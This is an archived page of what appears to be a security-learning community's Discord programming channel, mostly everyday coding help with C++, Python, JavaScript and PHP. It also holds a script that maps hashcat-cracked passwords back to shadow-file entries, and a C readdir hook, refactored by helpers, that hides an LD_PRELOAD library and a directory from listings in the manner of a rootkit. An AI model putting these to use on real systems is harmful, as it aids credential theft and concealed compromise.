#programming | TryHackMe | Page 26

dusty ore May 27, 2021, 1:02 PM

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why is the output always 0

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Nah sorry my bad

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the condition should be !=. not ==

brazen eagle May 27, 2021, 1:27 PM

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yup pretty much

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you just set wtf to 0 otherwise

magic falcon May 27, 2021, 1:32 PM

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New c++ paradigm is to not use raw pointers, and encapsulate with an appropriate pointer object. Other than that, I second everything hydra recommended. String literals are always c constant strings that are immutable as well

brazen eagle May 27, 2021, 1:34 PM

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magic falcon New c++ paradigm is to not use raw pointers, and encapsulate with an appropriate...

auto_ptr, now, no?

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or did I get lost in 2015

magic falcon May 27, 2021, 1:50 PM

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auto can be a pointer - specifically the <memory> header. https://en.cppreference.com/w/cpp/memory

cpp/memory

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auto_ptr was removed in C++17, for this use case, I'd suggest using a shared_ptr if passed in, or keeping the unique_ptr scope to the function itself.

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Also, consider refactoring to separate stdin input from being read in the class functions, and passing inputs instead. Keeping business logic code separated from interface code has always made debugging much simpler in my experiences

brazen eagle May 27, 2021, 4:58 PM

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Ah right that was it

thorn moon May 27, 2021, 6:00 PM

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(You can, btw. As a bonus, you can technically override == and forget to also override != crylaugh )

brazen eagle May 27, 2021, 6:27 PM

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thorn moon (You can, btw. As a bonus, you can technically override == and forget to also ov...

That sounds like great fun waiting to happen

magic falcon May 27, 2021, 6:57 PM

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At least as much fun of Rule of 7 being partially implemented

brazen eagle May 27, 2021, 10:04 PM

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which one's that?

magic falcon May 27, 2021, 10:06 PM

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My bad, it's rule of 5

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I mis-remembered

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https://en.cppreference.com/w/cpp/language/rule_of_three

cpp/language/rule of three

rigid tapir May 28, 2021, 12:03 AM

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I found the output of hashcat confusing since it was just hash:password with no usernames so I made a thing to reconstruct an /etc/passwd with the found passwords (don't tell me it already exists now). If there's any way of doing it better that would be nice to know ( converts $6$ hash to found passwords in any order in a list)

#cracked = [input("Enter path of hashcat output (format: $6$hash:password): ")]

file = ['~/test/unshadowed']
cracked = ['~/test/cracked']
count = 0
result = []
print("")
with open(file[0]) as x:
    lines = x.readlines()
    for line in lines:
        line = line.strip()
        splitline = line.split(':')
        if len(splitline[1]) <= 6:
            result += [':'.join(splitline),"\n"]
        else:
            with open(cracked[0]) as y:
                lines2 = y.readlines()
                for line2 in lines2:
                    line2 = line2.strip()
                    splitline2 = line2.split(':')
                    if splitline2[0] in splitline[1]:
                        count += 1
                        result += [':'.join(sub.replace(splitline[1], splitline2[1]) for sub in splitline),"\n"]
output = (''.join(result)).rstrip()
print(output + "\n")
print(count,"items replaced.",end='')

save = input(" Save passwordshadow.txt in this directory? (y/N): ")
if save == 'y':
    try:
        with open("passwordshadow.txt", "x") as f:
            f.write(output)
    except FileExistsError:
        save = input("File already exists, overwrite? (y/N): ")
        if save == 'y':
            with open("passwordshadow.txt", "w") as f:
                f.write(output)
else:
    pass```

onyx merlin May 28, 2021, 12:11 AM

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(don't tell me it already exists now).

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So for hashcat, you can use --usernames to say the input file is username:hash format

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Then with --show --username on the file it'll print it out nicely

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I can't remember if it's username or usernames

rigid tapir May 28, 2021, 12:29 AM

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well i got the fun of coding some python anyway 😄 thanks @onyx merlin

wispy kestrelBOT May 28, 2021, 12:29 AM

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Gave +1 Rep to @onyx merlin

dim slate May 28, 2021, 6:46 AM

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Reccomendations for a HTML/css library for styling a multi page site I'm building?
Looking for ease of use and consistency basically.
My eye is on BootStrap5 presently.

humble sandal May 28, 2021, 8:58 AM

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tailwindcss

tulip sail May 28, 2021, 7:23 PM

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@restive fossilQuestion: Why?

restive fossil May 28, 2021, 7:24 PM

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project

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thought it was cool

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i know it sounds sus

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its just a project

tulip sail May 28, 2021, 7:25 PM

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It definitely does sound sus 😆

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Please don't ask here

restive fossil May 28, 2021, 7:25 PM

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yeah i know

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oh so its not allowed?

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ok

tulip sail May 28, 2021, 7:25 PM

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There's no way to know if you're using it illegally

restive fossil May 28, 2021, 7:25 PM

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ill delete

tulip sail May 28, 2021, 7:25 PM

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So, yeah -- under rule 9

restive fossil May 28, 2021, 7:26 PM

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ok, i understand😅

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muir is there a place i can ask or is it completely forbidden?

onyx merlin May 28, 2021, 7:29 PM

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Reach 0xD, get OSCP/eCPPT, or complete Throwback then there's a channel for it

restive fossil May 28, 2021, 7:32 PM

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theres a channel that concerns malware?

hidden prawn May 28, 2021, 7:32 PM

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You will get access to exploit-and-mal-studies

restive fossil May 28, 2021, 7:33 PM

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oh thats sick

hidden prawn May 28, 2021, 7:33 PM

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So keep learning.

restive fossil May 28, 2021, 7:33 PM

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the only one that seems achievable right now is 0xD so imma get to doing rooms

true pumice May 29, 2021, 9:39 AM

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https://support.discord.com/hc/en-us/articles/1500012250861-Bots-Buttons

bitter field May 30, 2021, 2:11 AM

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hey guys a little help with date formats

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I have this date generated in my db 2021-05-29 20:47:41.966541

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and this one received in my graphql 1622339261966

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I cant decipher the second one

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solved it was a milisecond time stamp

magic falcon May 30, 2021, 2:24 AM

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It's a std Unix timestamp

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beat me to it

bitter field May 30, 2021, 2:24 AM

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https://tenor.com/view/hikigaya-hachiman-oregairu-anime-seriously-huh-gif-19862795

Tenor

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hahahaha

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whole 2 hours on this issue

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😢

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wish I was joking

magic falcon May 30, 2021, 2:25 AM

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At least it was something this simple and not something that requires a lot of work to fix

bitter field May 30, 2021, 2:26 AM

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yea

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still dont understand why graphql changes it

magic falcon May 30, 2021, 2:26 AM

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graphql is likely not changing it

bitter field May 30, 2021, 2:26 AM

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its iso on the db

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2021-05-29 20:47:41.966541

magic falcon May 30, 2021, 2:27 AM

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the underlying structure is ms since jan 1 1970; your datetime obj is likely converting it to be human readable after the datetime is stored

bitter field May 30, 2021, 2:27 AM

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hmmm

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welp its solved

magic falcon May 30, 2021, 2:27 AM

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that's a pretty common thing, in a lot of languages.

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Folks want to argue with me about it, but from a machine perspective, what's more efficient to generate and store. wall time from the hardware in a raw byte format, or a complicated string with weird formatting

bitter field May 30, 2021, 2:29 AM

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yea I see why the unix on is better

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just a plain string of numbers

magic falcon May 30, 2021, 2:29 AM

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what's the underlying db? postgres?

bitter field May 30, 2021, 2:29 AM

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yep

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doing a fullstack project

magic falcon May 30, 2021, 2:29 AM

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are you using a timestamptz datatype for the column?

bitter field May 30, 2021, 2:29 AM

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I think so

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Im using typeorm

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using the createdatecolumn function

magic falcon May 30, 2021, 2:36 AM

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yeah, underlying data structure is microseconds

bitter field May 30, 2021, 2:36 AM

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you prob know more than me on this one kekw

frozen smelt May 30, 2021, 10:36 AM

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Hey yo, i am doing a source code (PHP) review and some stuff is not making sense so i wanted to ask about what does do for example :

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preg_replace('/...(.)/', '$1', $$somevar)

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what is the ...(.) thingy replacing

lilac holly May 30, 2021, 10:45 AM

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it looks like a regular expression, I'm not familiar with PHP (regex implementations can have some idiosyncrasies..) but usually

the dot . means one (any) character
parentheses denote a group you're interested in particular, to refer to later with the $1 you see as the second parameter

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so it looks like it's particularly interested in the 4th character

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the docs for preg_replace should help from there

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and I hope I'm not leading you astray with this, someone who actually knows PHP please correct me if I'm wrong

frozen smelt May 30, 2021, 10:47 AM

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Thanks a lot @lilac holly i was trying to use regexeditor and stuff and i think it was leading to the same thing you were saying , so it does seems like its intrested in that 4 character

wispy kestrelBOT May 30, 2021, 10:47 AM

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Gave +1 Rep to @chrome crow

lilac holly May 30, 2021, 10:49 AM

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sure thing! regexr.com is really good for this too

frozen smelt May 30, 2021, 10:51 AM

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Thanks i will check that website ut

warped axle May 30, 2021, 12:57 PM

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Hey i need some help with encryptions in cpp, i wanna use windows builtin but cant seem to find anything for cpp specifically, most of them are c# code so do i nees to learn c# or is there a way to do it with cpp

mortal flint May 30, 2021, 1:07 PM

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There should be a way to call a c# module from cpp code, but I don't remember it offhand, I haven't had to interop between those two languages in a long time.

warped axle May 30, 2021, 1:07 PM

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Im looking into it

magic falcon May 30, 2021, 1:46 PM

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warped axle Hey i need some help with encryptions in cpp, i wanna use windows builtin but c...

Your best bet to find CPP code to do cryptography stuff on windows is to look in the CLR libraries - visual c++ used to be supported, but I don't know if that is still true. MS may have dumped CLR support for VC++ in favor of the regular .NET family of languages.

warped axle May 30, 2021, 1:49 PM

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Hmm i've looked there but nothing yet tho

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So they might have dumped it

magic falcon May 30, 2021, 1:52 PM

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The other alternatives for C++ seem to be crypto++ or openssl. If you aren't very familiar with using 3rd party libraries, you are going to have a struggle getting them to work.

warped axle May 30, 2021, 1:54 PM

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Yeah im gonna have so much pain with this

lilac holly May 30, 2021, 2:48 PM

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Guys

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I need help

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In a loop

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I constantly have numbers that need to be added to a variable

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That's fine, I did that

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But

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Once a certain command is detected

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For example

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"Adopt"

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My code needs to break out and print text + variable after that

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So my question is

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The input will constantly be reading integers

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But it must be able to read the command when inserted

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How does that happen?

vernal vigil May 30, 2021, 2:51 PM

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if block?, like test if its an integer or no, if its not just print out what you want

hidden prawn May 30, 2021, 2:51 PM

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It's easier to provide source code and explain what you expect from it

magic falcon May 30, 2021, 3:21 PM

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Start writing unit tests

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If a functionis longer than ~30 lines, break it into smaller smaller functions. This will help you compartmentalize your code so you aren't solving the entire problem all at once.

lilac holly May 30, 2021, 4:56 PM

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I had tasks

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To do

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But I did them, thanks anyways

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They had certain requirements

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It's just hard to explain without giving the official paper with the task, but well... Anyways

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Thank you, wonderful people!

lilac holly May 30, 2021, 4:57 PM

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hidden prawn It's easier to provide source code and explain what you expect from it

It was a written task in my language

glass cape May 30, 2021, 5:30 PM

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i have done 65 % of course on solo learn for python should i do some leetcode problems or should i complete the course

vernal vigil May 30, 2021, 5:39 PM

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you can start with it if you're confident enough , upto you

lilac holly May 30, 2021, 7:14 PM

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Guys I'm new to programming.. I'm confused with python, java and JavaScript what should I learn first

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I'm interested in contributing to open source too

true pumice May 30, 2021, 7:18 PM

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Python is much easier in my opinion, but it depends on what you want to contribute to.

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I'd suggest that you learn programming principles and the basics of the language you want.

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If you are not sure what you want, I would also suggest that you google what the best programming language is for the area you want to contribute to most.

magic falcon May 30, 2021, 7:19 PM

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Java as a language is more accessible, but there is also a higher learning curve to understand the environment to write hello world

lilac holly May 30, 2021, 7:19 PM

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Ohh okk

magic falcon May 30, 2021, 7:20 PM

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Really, it depends on what your goal is

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The basic programming logic will be the same regardless of language

lilac holly May 30, 2021, 7:20 PM

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I'm just focused towards Google summer of code rn.. any help with that?

magic falcon May 30, 2021, 9:13 PM

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There are a lot of projects you can contribute to, in a variety of languages. Are you interested in how performant code is written, OS stuff, cloud application endpoints, and a lot of others. Pick a project that appeals to you, you'll get more out of it than just me giving you my opinion

lilac holly May 31, 2021, 1:20 AM

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magic falcon There are a lot of projects you can contribute to, in a variety of languages. Ar...

Oh ok.. thanks 😊

wispy kestrelBOT May 31, 2021, 1:20 AM

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Gave +1 Rep to @magic falcon

west ether May 31, 2021, 2:54 AM

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hey guys i want to learn php , im done with basics but now i have no idea how to go from there . any advice ?

half osprey May 31, 2021, 4:26 AM

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Any beginner/Intermediate programmer of any language who wants to play https://www.codingame.com/ with us for learning and fun

CodinGame

Coding Games and Programming Challenges to Code Better

CodinGame is a challenge-based training platform for programmers where you can improve your coding skills with fun exercises (25+ languages supported)

lilac holly May 31, 2021, 5:35 AM

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guys i have a cpp code and there is an error saying " [Error] cannot convert 'std::string {aka std::basic_string<char>}' to 'const char*' for argument '1' to 'size_t strlen(const char*)' "... anyone can help...sry new to discord idk how to i send my cpp code

solar hull May 31, 2021, 6:51 AM

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lilac holly guys i have a cpp code and there is an error saying " [Error] cannot convert 'st...

You should be using string functions/methods instead of ones intended for c style strings.

surreal bronze May 31, 2021, 8:21 AM

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kekw

solar hull May 31, 2021, 8:40 AM

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Ok?

warped axle May 31, 2021, 1:55 PM

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ok im strugling to work with cpp third party libraries, specifically openssl, you see i need nmake but that is not on my box, google and found out that i need windows sdk, downloaded that with vs but still nmake is not on the box, i really really need some help

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also i tried conan, vcpkg but none of them ended up working properly

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all gave the same error saying that it cant find an instance of visual studio

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I am losing my mind so please help

whole haven May 31, 2021, 3:06 PM

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Does anyone know how to remove whitespaces when I try to include a php file. It's creating unnecessary whitespaces on webpage

magic falcon May 31, 2021, 3:31 PM

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warped axle ok im strugling to work with cpp third party libraries, specifically openssl, yo...

Are you doing this with CLI commands? or using an IDE?

warped axle May 31, 2021, 3:31 PM

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IDE

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Sort of

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Im using vim

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And compiling with g++

red canopy May 31, 2021, 3:37 PM

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just finished this tool lol https://github.com/CaraTortu/OnionService

GitHub

CaraTortu/OnionService

Open any service in your computer to a .onion domain! - CaraTortu/OnionService

lilac holly May 31, 2021, 3:47 PM

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!crack c6920359ca4a08e3de98f3a3c0284e42e4a56dd0e474d949b44c78b6dc558eaafb1d2bb88f78d26d774b6e3ffc70be65

narrow terraceBOT May 31, 2021, 3:47 PM

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Cracks hashes via Search-That-Hash API

Searching c6920359ca4a08e3de98f3a3c0284e42e4a56dd0e474d949b44c78b6dc558eaafb1d2bb88f78d26d774b6e3ffc70be65 :sunglasses:

surreal bronze May 31, 2021, 3:49 PM

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broke

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atm

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will fix later

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sorry

lilac holly May 31, 2021, 3:50 PM

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ahh sorry

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also if i used this during a ctf is that cheating

onyx merlin May 31, 2021, 3:51 PM

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Also preferably #bot-commands

magic falcon May 31, 2021, 3:52 PM

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warped axle Sort of

It's pretty clear you don't know the flags for whatever build system you are using. Please read the docs for g++ on including 3rd party libs, and the docs for all your dependencies. You may have better luck attempting your project in a more beginner friendly language, or simplifying your project's starting point

true pumice May 31, 2021, 3:53 PM

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lilac holly also if i used this during a ctf is that cheating

Unless the CTF specifically states otherwise, no.

warped axle May 31, 2021, 3:53 PM

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magic falcon It's pretty clear you don't know the flags for whatever build system you are usi...

Ok im gonna try that then thanks for the help

wispy kestrelBOT May 31, 2021, 3:53 PM

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Gave +1 Rep to @magic falcon

molten leaf May 31, 2021, 4:25 PM

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hi, if anyone knows html, js etc, i need some help pls peepoShy , so i have this code here, that creates a timer in js for an html website and its like a target practice website, so you need to click a taget that jumps to a random spot on the screen everytime you click it, so i crerated a function for that and used it with onclick="myfunction()", but im trying to check if the timer is at 0 seconds so i can disable the button but for some reason it never works, heres my code: ```function startTimer(duration, display) {
var timer = duration, minutes, seconds;
setInterval(function () {
minutes = parseInt(timer / 60, 10)
seconds = parseInt(timer % 60, 10);

    minutes = minutes < 10 ? "0" + minutes : minutes;
    seconds = seconds < 10 ? "0" + seconds : seconds;

    display.textContent = minutes + ":" + seconds;
    if (--timer < 0) {
        timer = 0;
    }
}, 1000);

}
var btn_test = document.getElementById('btn_test');

window.onload = function () {
var time = 2
display = document.querySelector('#TimerDisplay');
startTimer(time, display);
};

function Buttonrand(elem){
elem.style.position ='absolute';
elem.style.top = Math.floor(Math.random()*90+5)+'%';
elem.style.left = Math.floor(Math.random()*90+5)+'%';
}

btn_test.addEventListener('click', function(e)
{

Buttonrand(e.target);

});

var count = 0;
function myFunction() {
document.getElementById("text_forscore").innerHTML = "Score: " + count++;
}
/*
Here the time is supposed to be checked

if (time <= 0){
btn_test.disable =true;
}
*/```

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pls help PeePoThink

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i aleady tried to doif(time.value <= 0){btn_test.disable =true;} and any variation with "<", "==", etc. i cant figure it out

solar hull May 31, 2021, 4:48 PM

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molten leaf i aleady tried to do```if(time.value <= 0){btn_test.disable =true;}``` and any v...

Have you tried checking what the value is? For example, by generous placement of console.log in your code, or checking them out in log after debugger; keyword?

molten leaf May 31, 2021, 4:55 PM

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solar hull Have you tried checking what the value is? For example, by generous placement of...

what ive been trying is to check it 'timer' or 'seconds' are 0 because i realized that time actually never gets modified it only gets given to startTimer()

molten leaf May 31, 2021, 4:56 PM

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solar hull Have you tried checking what the value is? For example, by generous placement of...

it works now, thx 🙂

wispy kestrelBOT May 31, 2021, 4:56 PM

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Gave +1 Rep to @solar hull

solar hull May 31, 2021, 4:58 PM

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molten leaf it works now, thx 🙂

Wonderful 🙂 And you found out the reason by yourself.

undone kettle May 31, 2021, 8:56 PM

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heyy

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struct dirent * dir = old_readdir(dirp);
if(dir && cwd != NULL) {
        if(strcmp(cwd, dirname(strdup(LD_PRELOAD))) + strcmp(dir->d_name,basename(LD_PRELOAD)) == 0){
          dir = old_readdir(dirp);
        }
        else if(strcmp(cwd, dirname(strdup(HIDDDEN_DIRECTORY))) + strcmp(dir->d_name,basename(HIDDDEN_DIRECTORY)) == 0){
          dir = old_readdir(dirp);
        }
}
return dir;

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how could i simplify this so i dont repeat dir = old_readdir(dirp);in the if statements

mortal flint May 31, 2021, 9:51 PM

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if( (condition1) || (condition2) ){ doStuff(); }

undone kettle May 31, 2021, 9:56 PM

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ikk but the conditions are wayyy too big

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it would look like trash

mortal flint May 31, 2021, 10:59 PM

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then do something like:
bool cond1 = your long expression here
bool cond2 = your long expression here
and then do what I said above, using cond1 and cond2

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but name your variables something meaningful, that was just a shorthand.

brazen eagle Jun 1, 2021, 9:15 AM

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you can also break the || on two lines

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compiler doesn't care about whitespace

solar echo Jun 1, 2021, 3:58 PM

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@undone kettle Hey, I know it's a bit late but you could also use a macro definition which in this case would be better than a variable since it doesn't take up any unwanted memory. For example :

#include <stdio.h>
#define TEST printf("Hello World\n");

int main()
{
    TEST
}

Will output :

Hello World

So you could assign your conditions to a macro statement and simplify the code to something like

#define CONDITION1 strcmp(cwd, dirname(strdup(LD_PRELOAD))) + strcmp(dir->d_name,basename(LD_PRELOAD)) == 0
#define CONDITION2 strcmp(cwd, dirname(strdup(HIDDDEN_DIRECTORY))) + strcmp(dir->d_name,basename(HIDDDEN_DIRECTORY)) == 0
#define STATEMENT dir = old_readdir(dirp);

struct dirent * dir = old_readdir(dirp);
if(dir && cwd != NULL) {
        if(CONDITION1){
          STATEMENT
        }
        else if(CONDITION2){
          STATMENT
        }
}
return dir;

Obviously for CONDITION2 you should try and keep the code snippet on the same line as the "initialisation" of the macro definition. Another thing to know about macro definitions is that you should always try and name them in uppercase letters. (see https://www.programiz.com/c-programming/c-preprocessor-macros).

One last thing (just a tip for programming in c and many other languages), instead of having == 0 at the end of your condition you could also wrap the statement in brackets and prepend an ! to the start of it... like so : ```c
!(strcmp(cwd, dirname(strdup(LD_PRELOAD))) + strcmp(dir->d_name,basename(LD_PRELOAD)))

when using an exclamation mark and brackets with a boolean value it reverses the value, so for example
`!(1)` (and anything more than 0) is the equivalent to `0` and `!(0)` is the equivalent to `1`.

solar hull Jun 1, 2021, 4:43 PM

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IMHO macros tend to make the code cluttered.

solar echo Jun 1, 2021, 4:43 PM

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just a suggestion

onyx merlin Jun 1, 2021, 4:51 PM

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mortal flint then do something like: bool cond1 = your long expression here bool cond2 = your...

Yeah I'm gonna be honest I prefer this for readability over macros

solar echo Jun 1, 2021, 4:52 PM

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¯_(ツ)_/¯

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what can I say? I guess I just don't like taking up unnecessary memory

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but whatever floats your boat

onyx merlin Jun 1, 2021, 4:54 PM

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Ah yes, sacrifice like 2 bools of memory and gain great readability especially in larger codebase

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You get the memory back at the end of the function so eh.

solar echo Jun 1, 2021, 4:56 PM

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yeah but if it's the main function...

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but I guess it doesn't matter too much, sacrificing 4 bytes of memory for readability is something that I can see happening

solar hull Jun 1, 2021, 5:01 PM

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We should forget about small efficiencies, say about 97% of the time: premature optimization is the root of all evil. Yet we should not pass up our opportunities in that critical 3%

solar echo Jun 1, 2021, 5:01 PM

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:)

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https://tenor.com/view/perfectly-balanced-thanos-infinity-war-gif-13078930

midnight lantern Jun 1, 2021, 8:40 PM

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Does anybody know the SQL here.??

I need help because I have to submit my assignment tomorrow 😩😫

true pumice Jun 1, 2021, 8:42 PM

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I know enough to get by.

lilac holly Jun 2, 2021, 2:24 AM

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midnight lantern Does anybody know the SQL here.?? I need help because I have to submit my assi...

@lilac holly does he can help

dry aspen Jun 2, 2021, 8:24 AM

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which IDE do you guys use for coding python?

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editors/for dec

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dev

hidden prawn Jun 2, 2021, 8:25 AM

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pycharm is nice

dry aspen Jun 2, 2021, 8:34 AM

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ye currently using that only

solar hull Jun 2, 2021, 8:39 AM

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pycharm / vs code

frozen smelt Jun 2, 2021, 12:40 PM

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Hi, a question in python i have timestamps like this : 23:22:00.123829 and 22:21:00.156789 how do i subtract them to get the duration

compact fern Jun 2, 2021, 12:41 PM

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You can take ticks of these values and substract them. After that you can convert substracted value to time.

hidden prawn Jun 2, 2021, 12:41 PM

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https://stackoverflow.com/questions/31929538/how-to-subtract-datetimes-timestamps-in-python ? 👀

Stack Overflow

How to subtract datetimes / timestamps in python

Seems like this should be so simple but for the life of me, I can't find the answer. I pull two datetimes/timestamps from the database:

2015-08-10 19:33:27.653
2015-08-10 19:31:28.209
How do I

frozen smelt Jun 2, 2021, 12:42 PM

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hidden prawn https://stackoverflow.com/questions/31929538/how-to-subtract-datetimes-timestamp...

Thanks noct

wispy kestrelBOT Jun 2, 2021, 12:42 PM

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Gave +1 Rep to @hidden prawn

frozen smelt Jun 2, 2021, 12:42 PM

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compact fern You can take ticks of these values and substract them. After that you can conver...

Thanks for this aswell

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i willt ry both

frozen smelt Jun 2, 2021, 3:05 PM

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Hey, another question how do i delete like items from a list and then store it to the same list in python

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id_of_email = np.delete(id_of_email, ids)
status_of_email = np.delete(status_of_email, ids)
time_of_email = np.delete(time_of_email, ids)

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this something i was trying

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but doesnt seem to work

magic falcon Jun 2, 2021, 3:10 PM

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What you are asking doesn't makes sense when compared to your code sample. Can you clarify what the list is and what the list consists of?

frozen smelt Jun 2, 2021, 3:13 PM

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magic falcon What you are asking doesn't makes sense when compared to your code sample. Can y...

list consists of email_id lets say i am looping over these ids and grouping all the ones that are same doing an operation on those and then i want to delete all of those ids (ids is the index of those items i want to delete in the list) and then i wanna store them in the same list as its a for loop doing an operation on them

magic falcon Jun 2, 2021, 3:13 PM

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Can you rewrite that as not a wall of text?

frozen smelt Jun 2, 2021, 3:13 PM

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magic falcon Can you rewrite that as not a wall of text?

the explanation?

magic falcon Jun 2, 2021, 3:13 PM

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Yeah.

frozen smelt Jun 2, 2021, 3:15 PM

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There is a list of ids of emails i am looping over to find the indexes of the items that have the same id

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and then using those index i wanna remove them from the list

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and want to store them to the same list

magic falcon Jun 2, 2021, 3:16 PM

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Break it down more. You aren't articulating well what you are still trying to find. Is the list only email IDs, or ist here other content and metadata in the list items as well?

true pumice Jun 2, 2021, 3:17 PM

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So you have a list of ids and you want to find which emails have the same* id and store them in a separate list?

frozen smelt Jun 2, 2021, 3:17 PM

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not store them but delete them from the list

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and store it in the same list

magic falcon Jun 2, 2021, 3:17 PM

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So you want to remove items from the list while you are iterating over that list?

true pumice Jun 2, 2021, 3:18 PM

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temp = []
for id in list:
  if id in temp:
    id.pop()
  else:
    temp.append(id)

Like that?

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It shouldn't work but it's a general idea

magic falcon Jun 2, 2021, 3:18 PM

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There are some other problems I'm getting at, Jabba 🙂

frozen smelt Jun 2, 2021, 3:18 PM

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i will write some pseudo code

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list = ["a","b","c","d","e"]
ids = [1,4]

# I wanna now remove these certain indexes [1,4] from the list

magic falcon Jun 2, 2021, 3:20 PM

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So again, are you trying to iterate over list and remove items from list at the same time?

true pumice Jun 2, 2021, 3:21 PM

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Oh, I see

frozen smelt Jun 2, 2021, 3:21 PM

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i iterated over a list got the ids i needed , and then before going to another iteration of the loop i wanna remove the ids and elements i already worked on

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in that iteration i am doing an operation on those certain elements

magic falcon Jun 2, 2021, 3:22 PM

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Ok. So that's good; removing items from a list while you are iterating is bad. Don't do it.

true pumice Jun 2, 2021, 3:22 PM

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Like that?

magic falcon Jun 2, 2021, 3:22 PM

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My next question: Is there a standard list function as part of python that allows you to remove elements?

frozen smelt Jun 2, 2021, 3:23 PM

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magic falcon My next question: Is there a standard list function as part of python that allow...

.pop yes

frozen smelt Jun 2, 2021, 3:23 PM

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true pumice

yess the issue here becomes that the ids dont corelate then

magic falcon Jun 2, 2021, 3:23 PM

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Right. So why are you using delete()?

frozen smelt Jun 2, 2021, 3:23 PM

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magic falcon Right. So why are you using delete()?

thats using numpy

true pumice Jun 2, 2021, 3:24 PM

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What do you mean by correlate? The IDs remove the wrong value?

frozen smelt Jun 2, 2021, 3:24 PM

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which is another libraru

frozen smelt Jun 2, 2021, 3:24 PM

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true pumice What do you mean by correlate? The IDs remove the wrong value?

yess

magic falcon Jun 2, 2021, 3:24 PM

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So you aren't dealing with lists, you are dealing with numpy dataframes

true pumice Jun 2, 2021, 3:24 PM

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That's a problem with your other script then, it must be returning the wrong value

magic falcon Jun 2, 2021, 3:24 PM

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That makes everything you described very different

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lists and numpy.df objects are very, very different.

frozen smelt Jun 2, 2021, 3:25 PM

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true pumice

here as well it removes the 1 element but doesnt remove the 3 element d

frozen smelt Jun 2, 2021, 3:25 PM

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magic falcon lists and numpy.df objects are very, very different.

soo it is a list but i saw solution which told turn them to numpy to make it easier

true pumice Jun 2, 2021, 3:25 PM

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Is it because lists start from 0 and you're starting from 1?

frozen smelt Jun 2, 2021, 3:25 PM

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soo i turned my list to numpy

frozen smelt Jun 2, 2021, 3:26 PM

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true pumice Is it because lists start from 0 and you're starting from 1?

it starts from zero sooo 1 would be b and 3 would be d

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and in the final list it didnt pop out "d"

magic falcon Jun 2, 2021, 3:26 PM

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It's pretty clear you have a vague idea of what you are trying to do. Don't just blindly follow someone elses code, break down what you want to do before you start pounding away at the keyboard.

true pumice Jun 2, 2021, 3:26 PM

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It's straight forward

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Simply

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When you pop one vlaue out the list

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the list becomes smaller

frozen smelt Jun 2, 2021, 3:27 PM

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magic falcon It's pretty clear you have a vague idea of what you are trying to do. Don't just...

yeaah was trying on debugging that but will get on that

magic falcon Jun 2, 2021, 3:27 PM

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Read the docs for numpy on dataframes and what delete() actually does.

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You have a misunderstanding in your usage that you need to correct if you are going to use it.

true pumice Jun 2, 2021, 3:28 PM

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list = ['a', 'b', 'c']

# a = 0
# b = 1
# c = 2

One the first iteration, you would remove 'a'

list.pop(0)

Now the list is ['b', 'c']

b is now 0, and c is now 1.

Then when you're looping again, it's using the smaller list.

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If that makes sense

frozen smelt Jun 2, 2021, 3:29 PM

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yess it does, i do understand thats how it works its just when for looping over the ids and deleting them we would have to decrease the ids everytime then

magic falcon Jun 2, 2021, 3:29 PM

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Jabba, you are making this too easy for Nick! Suffering is the root of acquiring knowledge

frozen smelt Jun 2, 2021, 3:29 PM

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Thanks guys i think its finee

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i will figure it out , Thanks for your time and help

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+rep @true pumice

wispy kestrelBOT Jun 2, 2021, 3:30 PM

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Gave +1 Rep to @true pumice

true pumice Jun 2, 2021, 3:30 PM

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You're a mentor, telling people to go research is the complete opposite of why we're here

onyx merlin Jun 2, 2021, 3:30 PM

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true pumice You're a mentor, telling people to go research is the complete opposite of why w...

I disagree with that sentiment

magic falcon Jun 2, 2021, 3:30 PM

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I disagree. Mentorship is pointing people in the correct direction

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Otherwise you are doing the work for them, which doesn't help them grow

onyx merlin Jun 2, 2021, 3:31 PM

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People have a responsibility to do their own research before asking.

frozen smelt Jun 2, 2021, 3:31 PM

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i mean not to be rude or dis regard your arguement a lot of people ask after getting stuck for a while

magic falcon Jun 2, 2021, 3:31 PM

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Handing people answers to really basic things instead of forcing them to work through the problem doesn't develop their problem solving skills at all

frozen smelt Jun 2, 2021, 3:31 PM

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i dont plop a question for every thing i see

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but when it doesnt make sense

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and solutions on the internet dont make sense

magic falcon Jun 2, 2021, 3:32 PM

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Yeah, I get you. Which is why I was asking questions to identify where your misunderstanding is

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Then I can point you in the direction you need to go

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The hardest part of learning and growing is knowing which direction to go in. There is a lot of bad info out there, and google doesn't always give useful results if the search term isn't exactly what you need

frozen smelt Jun 2, 2021, 3:33 PM

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magic falcon Handing people answers to really basic things instead of forcing them to work th...

i dont really think what jabba said was the answer though he was telling the basic ideas about lists

frozen smelt Jun 2, 2021, 3:33 PM

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magic falcon The hardest part of learning and growing is knowing which direction to go in. Th...

would agree on that

magic falcon Jun 2, 2021, 3:34 PM

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He handed you the answer I was getting at - you were modifying the list and expecting the indices to be the same after removing an item.

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My next set of questions would have revolved around step through debugging in your IDE or using pdb

frozen smelt Jun 2, 2021, 3:36 PM

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magic falcon My next set of questions would have revolved around step through debugging in yo...

i ddi know that the issue was the indexes and i was wondering on how to approach it (as i know everytime i decreased a index the list becomes smaller and the indexes changes)

magic falcon Jun 2, 2021, 3:37 PM

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You really need to be better at articulating what the problem is, then. Because what I got from your initial ask was 'why isn't this working' not 'what's a useful approach to modify a list as i go over it'

frozen smelt Jun 2, 2021, 3:37 PM

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i was not asking for an answer more for how to approach the problem

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i guess its my fault on how i formualted the question then so my bad

onyx merlin Jun 2, 2021, 3:38 PM

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magic falcon You really need to be better at articulating what the problem is, then. Because ...

I don't think there's a problem with "why isn't this working"

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-mute @severe shore 5m Don't be rude.

wispy kestrelBOT Jun 2, 2021, 3:38 PM

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🔇 Muted T4TCH3R#6282 for 5 minutes

onyx merlin Jun 2, 2021, 3:38 PM

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Sorry, I was about to follow up my point

magic falcon Jun 2, 2021, 3:38 PM

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onyx merlin I don't think there's a problem with "why isn't this working"

Agreed. But it's an entirely different question, and my approach would have been very different.

onyx merlin Jun 2, 2021, 3:38 PM

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onyx merlin I don't think there's a problem with "why isn't this working"

as long as you can justify the approach you're taking

frozen smelt Jun 2, 2021, 3:39 PM

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yeaah i was trying to explain how and why i used numpy there

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as i tried a few other ways and they didnt tend to wokr

magic falcon Jun 2, 2021, 3:40 PM

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Oh, I get why you used numpy. One thing you need to remember when doing data analysis is that modifying the original isn't usually a good idea. Making copies of lists is really easy and fairly cheap to do - this solves the problem of modifying the list as you go

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Unless your list is ridiculously huge, processing it using copies is usually a better route than trying to add or remove while you iterate over it

frozen smelt Jun 2, 2021, 3:41 PM

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yeah that was another approach i tried but it didnt work tried to store numpy into a new list and copy that new list to the old list

magic falcon Jun 2, 2021, 3:42 PM

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Additionally, if you already know what the value is you need to filter on, there isn't a need to make a second list of indices.

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Why would you copy the new list to the old list?

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The new list is just a subset of the old list

